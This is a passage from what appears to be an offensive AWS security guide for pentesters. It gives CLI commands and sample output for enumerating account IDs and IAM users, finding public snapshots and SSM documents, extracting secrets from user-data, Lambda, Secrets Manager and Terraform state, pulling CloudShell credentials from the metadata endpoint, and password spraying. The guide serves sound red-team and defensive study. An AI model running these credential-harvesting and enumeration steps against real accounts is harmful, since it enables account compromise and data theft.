  "privateIp" : "172.31.30.110",
  "ramdiskId" : null,
  "region" : "us-west-2",
  "version" : "2017-09-30"
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### Using Amazon Bedrock API Keys

**Short-Term API Keys**

Option 1

* You <mark style="color:red;">must have valid access keys configured</mark> for this to work but these can be from your own account i.e., it doesn't need to be credentials from the same account as the access key id found

{% code overflow="wrap" %}

```zsh
aws --profile attacker sts get-access-key-info --access-key-id ASIA[REDACTED]
{
    "Account": "111111111111"
}
```

{% endcode %}

Option 2

* Otherwise, we can discover the account id without any credentials&#x20;

{% code overflow="wrap" %}

```zsh
echo $AWS_BEARER_TOKEN_BEDROCK | base64 -d | LC_ALL=C sed -n 's/.*X-Amz-Security-Token=\([^&]*\).*/\1/p' | python3 -c "import sys, urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))" | base64 -d
```

{% endcode %}

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FcpHMPwH2cIcDo8wrTuUG%2FCleanShot%202025-12-06%20at%2017.30.18%402x.png?alt=media&amp;token=5aabd27c-89aa-4006-abea-811f20d1b391" alt=""><figcaption></figcaption></figure>

**Long-term API Keys**

{% code overflow="wrap" %}

```zsh
echo $AWS_BEARER_TOKEN_BEDROCK | base64 -d
```

{% endcode %}

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FbMSq8JMsJXv9fuS9wDqT%2FCleanShot%202025-12-06%20at%2017.42.20%402x.png?alt=media&amp;token=419b4ad0-5f9a-48af-ab49-130a304044ce" alt=""><figcaption></figcaption></figure>


# Enumerate AWS IAM Users

Exposure of AWS IAM Usernames can further aid attackers efforts to access an AWS account. Exposure leaves users vulnerable to attacks such as phishing and password-spraying.

## What is the risk of exposed AWS IAM Usernames?

* Exposing an AWS IAM username is not a direct threat but simplifies attackers' efforts to access an AWS account. With this information, they can initiate phishing campaigns or password-spraying attacks, potentially obtaining valid credentials and accessing the account

***

## Methods to Enumerate AWS IAM Usernames

### Using AWS Access Key ID

{% hint style="danger" %}
You <mark style="color:red;">must have valid access keys configured in the target account</mark> for this to work (`aws configure`)
{% endhint %}

{% code overflow="wrap" %}

```bash
aws --profile dev iam get-access-key-last-used --access-key-id AKIAxxxxxxxx

{
    "UserName": "admin",
    "AccessKeyLastUsed": {
        "LastUsedDate": "2024-12-08T03:42:00+00:00",
        "ServiceName": "ec2",
        "Region": "us-east-1"
    }
}
```

{% endcode %}

***

### Using Bedrock API Keys

* This works for the Long-Term API Keys but Short-term API Keys don't seem to provide this info

{% code overflow="wrap" %}

```zsh
echo $AWS_BEARER_TOKEN_BEDROCK | base64 -d
```

{% endcode %}

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FSUgmQtLe3Ld20PMTayNZ%2FCleanShot%202025-12-06%20at%2017.47.17%402x.png?alt=media&amp;token=16790a46-4458-4c92-925e-910c716c69c4" alt=""><figcaption></figcaption></figure>

***

### Using Valid Credentials (Authenticated)

* With valid credentials and access to the target AWS account, we can enumerate all IAM Users in the account

{% code overflow="wrap" %}

```bash
aws iam list-users

{
    "Users": [
        {
            "Path": "/",
            "UserName": "dev_user",
            "UserId": "AIDAxxxxxx",
            "Arn": "arn:aws:iam::111111111111:user/dev_user",
            "CreateDate": "2022-05-18T23:38:48+00:00",
            "PasswordLastUsed": "2025-11-02T21:52:33+00:00"
        }
    ]
}
```

{% endcode %}

***

### Using Error Messages

* With valid credentials we can attempt certain commands that provide the identity's name in the output if the identity is not allowed to perform the task

{% code overflow="wrap" %}

```bash
aws --profile tyler ec2 describe-instances

An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation. User: arn:aws:iam::111111111111:user/tyler is not authorized to perform: ec2:DescribeInstances because no identity-based policy allows the ec2:DescribeInstances action
```

{% endcode %}

***

### Brute Forcing (Unauthenticated)

* There are additional ways to enumerate IAM Users and Roles, see [Enumerate (Unauthenticated) IAM Users and Roles](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-unauthenticated-iam-users-and-roles)


# Enumerate (Unauthenticated) IAM Users and Roles

Exploiting an AWS feature of the IAM Role Trust Policy allowing for unauthenticated enumeration of AWS IAM Users and Roles in AWS Accounts.

{% hint style="danger" %}
We need to know the AWS Account ID for this technique to work. Refer to [Enumerate AWS Account IDs](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-account-ids) for methods on how to obtain this.
{% endhint %}

{% hint style="info" %}
Rhino Security Labs has a [great blog post](https://rhinosecuritylabs.com/aws/aws-role-enumeration-iam-p2/) detailing how this works
{% endhint %}

## Unauthenticated Enumeration of IAM Users and Roles

* Essentially, when updating an IAM Role's Trust Policy, AWS will either allow it or return an error&#x20;
* The error is returned if the ARN of the identity does not exist

### Leveraging AWS Console

* First, create an IAM Role and then update its Trust Policy
* Principals can be specified in an IAM Role's policy and will provide an error if the principal is invalid

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FsZn2oC9ychkryZ09oTQw%2FCleanShot%202024-12-07%20at%2021.15.19%402x.png?alt=media&amp;token=17ce762a-a8e9-4133-8f5c-60736f6cf8ef" alt=""><figcaption><p>Trying to add a non-valid IAM User to an IAM Role Trust Policy</p></figcaption></figure>

***

### Leveraging AWS CLI

* Principals can be specified in an IAM Role's policy and will provide an error if the principal is invalid

{% tabs %}
{% tab title="1. Create IAM Role" %}
Create an IAM Role Policy with a valid principal

```
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:user/valid-user"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

Create the IAM Role

{% code overflow="wrap" %}

```bash
aws iam create-role --role-name myRole --assume-role-policy-document file://roletrustpolicy.json
```

{% endcode %}
{% endtab %}

{% tab title="2. Update Role Policy" %}
Update Policy with user/role to test

```python
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:user/bob"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

Update the Role with the new Policy

{% code overflow="wrap" %}

```bash
aws --profile lab iam update-assume-role-policy --role-name <MyRoleName> --policy-document file://roletrustpolicy.json

An error occurred (MalformedPolicyDocument) when calling the UpdateAssumeRolePolicy operation: Invalid principal in policy: "AWS":"arn:aws:iam::111111111111:user/bob"
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### Leveraging Pacu

* [Pacu](/cloud-security/tools/pacu) provides modules that automatically attempt to enumerate valid IAM Users and Roles in an AWS account using this method
* Pacu will also attempt to assume the role which will provide credentials for the role
* Default wordlists are used unless you specify your own&#x20;

{% tabs %}
{% tab title="Users" %}
{% code overflow="wrap" %}

```bash
run iam__enum_users --role-name <MyRoleName> --account-id 111111111111
```

{% endcode %}
{% endtab %}

{% tab title="Roles" %}
{% code overflow="wrap" %}

```bash
run iam__enum_roles --role-name <MyRoleName> --account-id 111111111111
```

{% endcode %}
{% endtab %}

{% tab title="Custom Wordlist" %}
{% code overflow="wrap" %}

```bash
run iam__enum_users --role-name <MyRoleName> --account-id 111111111111 --word-list <myUser/RoleList>
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### Leveraging S3

* Principals can be specified in an S3 Bucket's policy and will provide an error if the principal is invalid

{% tabs %}
{% tab title="1. Create S3 Bucket" %}
{% code overflow="wrap" %}

```bash
aws s3api create-bucket --bucket <bucketName> 
```

{% endcode %}
{% endtab %}

{% tab title="2. Create Bucket Policy" %}
{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<targetAccountId>:user/bob"
            },
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::<bucketName>"
        }
    ]
}
```

{% endcode %}
{% endtab %}

{% tab title="3. Update Bucket Policy" %}
{% code overflow="wrap" %}

```bash
aws s3api put-bucket-policy --bucket <bucketName> --policy file://s3bucketpolicy.json

An error occurred (MalformedPolicy) when calling the PutBucketPolicy operation: Invalid principal in policy
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### Leveraging Lambda

* Principals can be specified in a Lambda Function's resource policy and will provide an error if the principal is invalid

{% tabs %}
{% tab title="1. Create Lambda Role" %}
Create Trust Policy for IAM Role

{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "lambda.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

{% endcode %}

Create IAM Role

{% code overflow="wrap" %}

```bash
aws iam create-role --role-name lambda-role --assume-role-policy-document file://lambdapolicy.json 
```

{% endcode %}
{% endtab %}

{% tab title="2. Create Lambda Function" %}
Create Function Code

```python
def lambda_handler(event, context):
    print(event)
    return 'Hello from Lambda!'
```

Zip the Function Code

{% code overflow="wrap" fullWidth="false" %}

```bash
zip functioncode.zip functioncode.py
```

{% endcode %}

Create the Function

{% code overflow="wrap" %}

```bash
aws lambda create-function --function-name tylertestiamprincipals --runtime python3.9 --zip-file fileb://functioncode.zip --handler hello.lambda-handler --role arn:aws:iam::111111111111:role/lambda-role
```

{% endcode %}
{% endtab %}

{% tab title="3. Update Lambda Policy" %}
{% code overflow="wrap" %}

```bash
aws lambda add-permission --function-name tylertestiamprincipals --action lambda:ListFunctions --statement-id tylertestiamprincipals2 --principal "arn:aws:iam::111111111111:role/sally"

An error occurred (InvalidParameterValueException) when calling the AddPermission operation: The provided principal was invalid. Please check the principal and try again.
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Enumerate AWS Public Resources

Public resources like EBS and RDS snapshots or SSM Documents can lead to data and credential leaks.

## Dangers of Public Resources

* Many AWS resources can become public whether intentionally or not and these resources may contain sensitive data and/or credentials that may lead to a compromised environment&#x20;
* There are legitimate use cases for exposing resources publicly (such as providing customers with easy access) but due diligence should be performed to ensure sensitive data and credentials are not contained in these resources&#x20;

***

### S3 Buckets

* Since all S3 buckets have a unique URL, they can automatically be discovered
* [cloudenum](/cloud-security/tools/cloudenum)works by brute-forcing bucket names and informing if the bucket is real or not based on HTTP status codes. If a bucket is discovered, it attempts to list its contents `s3:ListBucket`

{% tabs %}
{% tab title="Discover S3 Buckets" %}
{% code overflow="wrap" %}

```bash
# python3 ./cloud_enum.py -k tylerexposedbucket234 --disable-gcp --disable-azure

[+] Checking for S3 buckets
  OPEN S3 BUCKET: http://tylerexposedbucket234.s3.amazonaws.com/
      FILES:
      ->http://tylerexposedbucket234.s3.amazonaws.com/tylerexposedbucket234
      ->http://tylerexposedbucket234.s3.amazonaws.com/dogs.txt
      ->http://tylerexposedbucket234.s3.amazonaws.com/secrets.txt
  Protected S3 Bucket: http://tyler.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler1.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler-1.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler2.s3.amazonaws.com/
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### EBS Snapshots

* EBS Snapshots are backups of EC2 instances
* [dsnap](/cloud-security/tools/dsnap) is a useful tool for downloading snapshots for local inspection otherwise you can [create an EC2 in your AWS account with the snapshot](https://docs.aws.amazon.com/prescriptive-guidance/latest/backup-recovery/restore.html#instance-from-snapshot)

{% tabs %}
{% tab title="Find All Public Snapshots" %}

```javascript
aws ec2 describe-snapshots --restorable-by-user-ids all
```

{% endtab %}

{% tab title="Find Public Snapshots by Owner" %}
{% code overflow="wrap" %}

```bash
aws ec2 describe-snapshots --owner-ids 222222222222 --restorable-by-user-ids all
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}

```bash
#!/bin/bash

# Description: Finds all public ebs snapshots in all regions for a given aws account

# account to check
account='111111111111'

# needed to correctly parse regions
IFS=$'\n'

echo "Checking all regions in AWS account $account"

# get all available aws regions
regions=$(aws ec2 describe-regions --region us-east-1 | jq -r '.Regions[].RegionName')

# iterate through regions
for region in $regions; do
    # check for public snapshots
    echo "Checking for Public EBS snapshots in region: $region"
    
    # check for snapshots in region
    aws ec2 describe-snapshots --owner-ids $account --restorable-by-user-ids all --region "$region" | jq -r '.Snapshots[]'
done

# reset IFS
unset IFS
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### RDS Snapshots

* RDS Snapshots are backups of RDS Databases

{% tabs %}
{% tab title="Find All Public Snapshots" %}
{% code overflow="wrap" %}

```bash
aws rds describe-db-snapshots --include-public
```

{% endcode %}
{% endtab %}

{% tab title="Find Public Snapshots by Owner" %}
{% code overflow="wrap" %}

```bash
export account='111111111111'

aws rds describe-db-snapshots --include-public | jq -r --arg aws_account "$account" '.DBSnapshots[] | select(.DBSnapshotIdentifier | contains($aws_account))'
```

{% endcode %}
{% endtab %}

{% tab title="Find Your Public Snapshots" %}
{% code overflow="wrap" %}

```bash
aws rds describe-db-snapshots --snapshot-type Public
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}

```bash
#!/bin/bash

# Description: Finds all public rds snapshots in all regions for a given aws account

# account to check
account='111111111111'

# needed to correctly parse regions
IFS=$'\n'

echo "Checking all regions in AWS account $account"

# get all available aws regions
regions=$(aws ec2 describe-regions --region us-east-1 | jq -r '.Regions[].RegionName')

# iterate through regions
for region in $regions; do
    # check for public snapshots
    echo "Checking for Public RDS snapshots in region: $region"
    
    # check for snapshots in region
    aws rds describe-db-snapshots --include-public --region $region | jq -r --arg aws_account "$account" '.DBSnapshots[] | select(.DBSnapshotIdentifier | contains($aws_account))'
done

# reset IFS
unset IFS
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### SSM Documents

* SSM Documents allow for running commands and automation
* These may contain sensitive information&#x20;

{% tabs %}
{% tab title="Find Public Documents" %}
{% code overflow="wrap" %}

```bash
#/bin/bash

# Variables
RED="\033[31m"
RESET="\033[0m"

my_ssm_docs=$(aws ssm list-documents | jq -r '.DocumentIdentifiers[] | select(.Owner | contains("111111111111")) | (.Name)')

for doc in $(echo $my_ssm_docs); do
    status=$(aws ssm describe-document-permission --name $doc --permission-type Share | jq -r '.AccountIds[]')

    if [ "$status" != "all" ]; then
        echo "The $doc is not public."
    else
        echo "${RED}The $doc is PUBLIC.${RESET}"
    fi
done
```

{% endcode %}
{% endtab %}

{% tab title="Check Document Contents" %}
{% code overflow="wrap" %}

```bash
 aws ssm get-document --name <documentName> | jq -r '.Content'
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Enumerate Secrets in AWS

Tips and tricks for discovering secrets in AWS

## Secrets Enumeration

Plaintext or hard-coded secrets can be found in many resources throughout AWS if there is poor hygiene in the management of secrets.&#x20;

***

## CloudFormation

* CloudFormation is an AWS infrastructure-as-code solution written in JSON or YAML

{% code overflow="wrap" %}

```bash
# provides details of the stacks including parameter key/values
aws --region us-east-1 cloudformation describe-stacks

# view the source code for a specific stack
aws --region us-east-1 cloudformation get-template --stack-name execution | jq -r '.TemplateBody'
```

{% endcode %}

***

## EC2 Instances

### User-data

* Secrets can end up hard-coded in EC2 user-data and can easily be discovered either with the action `ec2:DescribeInstanceAttribute`or by querying the IMDS service

#### AWS CLI

{% code overflow="wrap" %}

```bash
# using the aws cli 
aws --region us-west-2 ec2 describe-instance-attribute --attribute userData --instance-id i-0aa2215a0322ec638 | jq -r '.UserData.Value' | base64 --decode

# output
echo "aws_access_key_id = AKIAZxxxxxxxxxx" >> ~/ec2-user/.aws/credentials
echo "aws_secret_access_key = T2a4SjDnqsPUxxxxxxx" >> ~/ec2-user/.aws/credentials
```

{% endcode %}

#### IMDSv1

{% code overflow="wrap" %}

```bash
# querying IMDSv1 (code execution on the instance is required)
curl http://169.254.169.254/latest/user-data

# output 
echo "aws_access_key_id = AKIAZxxxxxxxxxx" >> ~/ec2-user/.aws/credentials
echo "aws_secret_access_key = T2a4SjDnqsPUxxxxxxx" >> ~/ec2-user/.aws/credentials
```

{% endcode %}

#### IMDSv2

* Version 2 of IMDS requires obtaining a token first

{% code overflow="wrap" %}

```bash
# querying IMDSv2 (code execution on the instance is required)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data

# output 
echo "aws_access_key_id = AKIAZxxxxxxxxxx" >> ~/ec2-user/.aws/credentials
echo "aws_secret_access_key = T2a4SjDnqsPUxxxxxxx" >> ~/ec2-user/.aws/credentials
```

{% endcode %}

***

### EC2 Launch Templates

* EC2 Launch Templates allow for defining consistent configurations (Security Groups, IMDS, Instance types, User Data, etc.) for any EC2 that uses the template
* So User Data can also be found in the templates&#x20;

{% code overflow="wrap" %}

```bash
# find launch templates
aws --region us-west-2 ec2 describe-launch-templates

{
    "LaunchTemplates": [
        {
            "LaunchTemplateId": "lt-12k4n9f933873nkdn",
            "LaunchTemplateName": "my-ec2-template",
            "CreateTime": "2025-1-03T11:32:25+00:00",
            "CreatedBy": "arn:aws:iam::111111111111:dev_user",
            "DefaultVersionNumber": 1,
            "LatestVersionNumber": 1
        }
    ]
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# view the launch template
aws --region us-west-2 ec2 describe-launch-template-versions --launch-template-id lt-12k4n9f933873nkdn --versions 1

{
    "LaunchTemplateVersions": [
        {
            "LaunchTemplateId": "lt-12k4n9f933873nkdn",
            "LaunchTemplateName": "my-ec2-template",
            "VersionNumber": 1,
            "VersionDescription": "my-ec2-template",
            "CreateTime": "2025-1-03T11:32:25+00:00",
            "CreatedBy": "arn:aws:iam::111111111111:dev_user",
            "DefaultVersion": true,
            "LaunchTemplateData": {
                "UserData": "ZWNobyAiYXdzX2FjY2Vzc19rZXlfaWQgPSBBS0lBWnh4eHh4eHh4eHgiID4+IH4vZWMyLXVzZXIvLmF3cy9jcmVkZW50aWFscwplY2hvICJhd3Nfc2VjcmV0X2FjY2Vzc19rZXkgPSBUMmE0U2pEbnFzUFV4eHh4eHh4IiA+PiB+L2VjMi11c2VyLy5hd3MvY3JlZGVudGlhbHM="
            }
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# decode the user data
aws --region us-west-2 ec2 describe-launch-template-versions --launch-template-id lt-12k4n9f933873nkdn --versions 1 | jq -r '.LaunchTemplateVersions[].LaunchTemplateData.UserData' | base64 --decode

# output
echo "aws_access_key_id = AKIAZxxxxxxxxxx" >> ~/ec2-user/.aws/credentials
echo "aws_secret_access_key = T2a4SjDnqsPUxxxxxxx" >> ~/ec2-user/.aws/credentials
```

{% endcode %}

***

## EBS Snapshots

* EBS Snapshots are backups of EC2 instances and may have secrets and credentials stored on them
* See also [Enumerate AWS Public Resources](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-public-resources#ebs-snapshots)

{% hint style="warning" %}
EBS snapshots are regional so make sure to check each region
{% endhint %}

{% code overflow="wrap" %}

```bash
# find snapshots in your account
aws --region us-west-2 ec2 describe-snapshots --owner-ids self
```

{% endcode %}

***

## Lambda

### Environment Variables

* Environment variables are commonly used for storing data used by the lambda function

{% code overflow="wrap" %}

```bash
# list all functions and return their env vars
aws --region us-east-1 lambda list-functions | jq -r '.Functions[].Environment.Variables'

{
  "ACCESS_KEY_ID": "AKIA.....",
  "SECRET_ACCESS_KEY": "SetQ...."
}
{
  "RDS_HOST": "mydatabase.sflwnf3l22n3.us-east-1.rds.amazonaws.com",
  "RDS_PASSWORD": "superSecret",
  "RDS_USER": "root"
}
```

{% endcode %}

### Functions

* The code of the function may also contain information

{% code overflow="wrap" %}

```bash
# download a function's code
aws --region us-east-1 lambda get-function --function-name myfunction --query 'Code.Location' --output text | xargs curl -o lambda_func.zip

unzip lambda_func.zip
```

{% endcode %}

***

## RDS Snapshots

* RDS Snapshots are backups of RDS instances and may contain valuable data
* See also [Enumerate AWS Public Resources](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-public-resources#rds-snapshots)

{% hint style="warning" %}
RDS snapshots are regional so make sure to check each region
{% endhint %}

{% code overflow="wrap" %}

```bash
# find snapshots in your account
aws rds describe-db-snapshots --region us-west-2
```

{% endcode %}

***

## Secrets Manager

{% code overflow="wrap" %}

```bash
# list secrets 
aws --region us-west-2 secretsmanager list-secrets                             
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:111111111111:secret:production_database_password-BOcLnM",
            "Name": "production_database_password",
            "LastChangedDate": "2025-01-03T18:43:58.802000-07:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "2ad27539-26a6-40fc-b412-774e749e6d80": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-01-03T18:43:58.491000-07:00"
        }
    ]
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# get secret (can only decrypt if you have permission to the kms key)
aws --region us-west-2 secretsmanager get-secret-value --secret-id production_database_password

{
    "ARN": "arn:aws:secretsmanager:us-west-2:111111111111:secret:production_database_password-BOcLnM",
    "Name": "production_database_password",
    "VersionId": "2ad27539-26a6-40fc-b412-774e749e6d80",
    "SecretString": "{\"database_password\":\"l;3lj2l3nr23nrlnslfio3\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-01-03T18:43:58.798000-07:00"
}
```

{% endcode %}

***

## SSM

### Documents

* SSM Documents allow you to run automations and commands on EC2s and may contain sensitive data
* See also [Enumerate AWS Public Resources](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-public-resources#ssm-documents)

{% code overflow="wrap" %}

```bash
# find ssm documents in your account
aws ssm list-documents | jq -r '.DocumentIdentifiers[] | select(.Owner | contains("111111111111")) | (.Name)'
```

{% endcode %}

### Parameters

* You can reference Systems Manager parameters in your scripts, commands, SSM documents, and configuration and automation workflows

{% code overflow="wrap" %}

```bash
# list ssm parameters
aws --region us-west-2 ssm describe-parameters

{
    "Parameters": [
        {
            "Name": "uninstall_key",
            "ARN": "arn:aws:ssm:us-west-2:111111111111:parameter/uninstall_key",
            "Type": "SecureString",
            "KeyId": "alias/aws/ssm",
            "LastModifiedDate": "2025-01-03T18:36:21.900000-07:00",
            "LastModifiedUser": "arn:aws:iam::111111111111:user/dev_user",
            "Description": "key used to uninstall our EDR",
            "Version": 1,
            "Tier": "Standard",
            "Policies": [],
            "DataType": "text"
        }
    ]
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# get parameter (can only decrypt if you have permission to the kms key)
aws --region us-west-2 ssm get-parameter --name uninstall_key --with-decryption 

{
    "Parameter": {
        "Name": "uninstall_key",
        "Type": "SecureString",
        "Value": "34n34n393nndg0sng4",
        "Version": 1,
        "LastModifiedDate": "2025-01-03T18:36:21.900000-07:00",
        "ARN": "arn:aws:ssm:us-west-2:111111111111:parameter/uninstall_key",
        "DataType": "text"
    }
}
```

{% endcode %}

***

## Terraform State

* While not an AWS resource, Terraform State files are commonly stored in [AWS S3 buckets](https://developer.hashicorp.com/terraform/language/backend/s3)
* If the data is not encrypted and/or you have access to decrypt the data, Terraform State files often contain secrets, credentials, and information about the cloud environment

{% code overflow="wrap" %}

```bash
# example of downloading terraform state from file 
aws s3 cp s3://myterraformstatebucket/prod/prod-account-a/terraform.tfstate .

# output state to json to see sensitive values
terraform show -json | jq                           
{
  "format_version": "1.0",
  "terraform_version": "1.5.7",
  "values": {
    "root_module": {
      "resources": [
        {
          "address": "aws_iam_access_key.admin",
          "mode": "managed",
          "type": "aws_iam_access_key",
          "name": "admin",
          "provider_name": "registry.terraform.io/hashicorp/aws",
          "schema_version": 0,
          "values": {
            "create_date": "2025-01-04T01:17:57Z",
            "encrypted_secret": null,
            "encrypted_ses_smtp_password_v4": null,
            "id": "AKIA[...]",
            "key_fingerprint": null,
            "pgp_key": null,
            "secret": "dfY0XUrA[...]",
            "ses_smtp_password_v4": "BBPzJ[...]",
            "status": "Active",
            "user": "admin"
          },
          "sensitive_values": {
            "secret": true,
            "ses_smtp_password_v4": true
          }
        }
      ]
    }
  }
} 

# you can also just read the state file since it's json
cat terraform.tfstate | jq
```

{% endcode %}


# Generate AWS Console Session

Get access to the AWS console with AWS access keys

## Generating an AWS Console Session

* NetSPI developed a neat tool that will generate a web console sign-in URL with a valid set of long-term (e.g., IAM User access keys) or temporary (e.g., IAM Role) credentials and appropriate permissions
* This technique **does not provide any new permissions**, it just gives you access to the AWS console which can provide a better (and graphical) experience without trying to brute force your access via the CLI / API

***

### Installation&#x20;

* Code is also available on [GitHub](https://github.com/netspi/aws_consoler)

```bash
pip install aws-consoler
```

***

### Generate Web Console Sign-In URL

{% hint style="warning" %}
If using IAM User access keys, the user must have permissions to run `sts:GetFederationToken`
{% endhint %}

{% hint style="danger" %}
The user name will be **aws\_consoler** and will appear in logs so this is **not a stealthy approach**!

Consider writing your own custom script instead or do this manually [AWS Persistence](/cloud-security/aws/aws-offensive-security/aws-persistence#generating-temporary-aws-credentials-from-iam-user)
{% endhint %}

{% code overflow="wrap" %}

```bash
aws_consoler --profile tyler  
       
2025-11-09 11:29:51,395 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.

https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3F&SigninToken=Lf4-EszViCQ9ha_CINm8HtvZjaxD4U[SNIP]
```

{% endcode %}


# Generate IAM Access Keys from CloudShell

Using an undocumented endpoint, we can leverage CloudShell from the AWS Console and create AWS Access Keys for the logged on user.

{% hint style="info" %}
I originally learned of this from Christophe Tafani-Dereeper's [blog post](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/)
{% endhint %}

## Why Use This?&#x20;

* When performing pentesting or red teaming, we may encounter a user with console access or gain access to an existing console session
* By retrieving AWS Access Keys, we can leverage this for further enumeration from our command line and tools&#x20;

***

## Obtaining AWS Access Keys from CloudShell

* CloudShell provides a ready-to-use CLI environment for the logged-on user/role without needing to set up credentials like you would on say your computer&#x20;
* It's able to do this because it's retrieving credentials each time a command is run (see screenshot) from the instance metadata service

### Option 1: Querying IMDS Service

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FojcsLJvwQJSNH86QkYJt%2FCleanShot%202024-12-18%20at%2010.56.17%402x.png?alt=media&amp;token=e4a9d902-66db-4a8e-98f5-06ef94e704e3" alt=""><figcaption><p>CloudShell:<code>aws iam list-users --debug</code></p></figcaption></figure>

* Now that we know the endpoint, we can [query it](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html#instance-metadata-v2-how-it-works) ourselves and get the plaintext credentials&#x20;

{% code overflow="wrap" %}

```bash
# Get the token 
TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# Retrieve creds 
curl -H "X-aws-ec2-metadata-token: $TOKEN" localhost:1338/latest/meta-data/container/security-credentials
{
        "Type": "",
        "AccessKeyId": "ASIAUU...",
        "SecretAccessKey": "ak24Bx8e...",
        "Token": "IQoJb3Jp...",
        "Expiration": "2024-12-18T18:10:17Z",
        "Code": "Success"
```

{% endcode %}

### Option 2: Get Existing Credentials

* Alternatively, run this command in CloudShell and it exports the current credentials in use (i.e., it doesn't renew creds with a later expiration date like querying the IMDS service will)

{% code overflow="wrap" %}

```zsh
aws configure export-credentials
{
  "Version": 1,
  "AccessKeyId": "ASIA[REDACTED]",
  "SecretAccessKey": "3LDU[REDACTED]",
  "SessionToken": "IQoJ[REDACTED]",
  "Expiration": "2024-12-15T01:47:22+00:00"
}
```

{% endcode %}


# Password Spraying AWS IAM Users

Performing password spray attacks against AWS console users can lead to successful credentials validation and, in turn, access to the AWS user and AWS account.

{% hint style="danger" %}
We need to know the AWS Account ID for this technique to work. Refer to [Enumerate AWS Account IDs](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-account-ids) for methods on how to obtain this.
{% endhint %}

## Understanding Password Spraying Attacks

* Password spraying involves trying a password against multiple accounts to avoid account lockout policies that may exist
* Essentially, we're "guessing" the password and hoping it's valid for an account
* Having MFA enforced for users is a great mitigating control to thwart this attack

## Password Spraying Requirements

* For this attack to work, the AWS Account ID should be known and we must have a list of usernames and passwords to test with
* AWS IAM Account IDs can be discovered in several ways e.g.,&#x20;
  * [Enumerate AWS Account IDs](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-account-ids)
* AWS IAM usernames can be discovered in several ways e.g.,&#x20;
  * [Enumerate (Unauthenticated) IAM Users and Roles](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-unauthenticated-iam-users-and-roles)&#x20;
  * [Enumerate AWS IAM Users](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-iam-users)

***

## Methods to Password Spray AWS Console Users

### GoAWSConsoleSpray

* [GoAWSConsoleSpray](/cloud-security/tools/goawsconsolespray) can be used to discover valid credentials for AWS console users
